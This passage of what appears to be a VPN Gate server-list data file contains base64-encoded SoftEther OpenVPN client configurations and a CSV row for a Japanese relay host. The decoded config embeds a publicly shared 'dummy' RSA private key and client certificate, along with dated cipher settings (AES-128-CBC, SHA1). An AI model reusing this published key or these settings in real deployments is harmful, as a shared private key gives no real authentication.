d05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn223472816,106.165.84.76,653616,12,468657051,Japan,JP,29,1000,50381,10514446086806,2weeks,DESKTOP-AA1P4TL's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMDYuMTY1Ljg0Ljc2IDEyODkNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3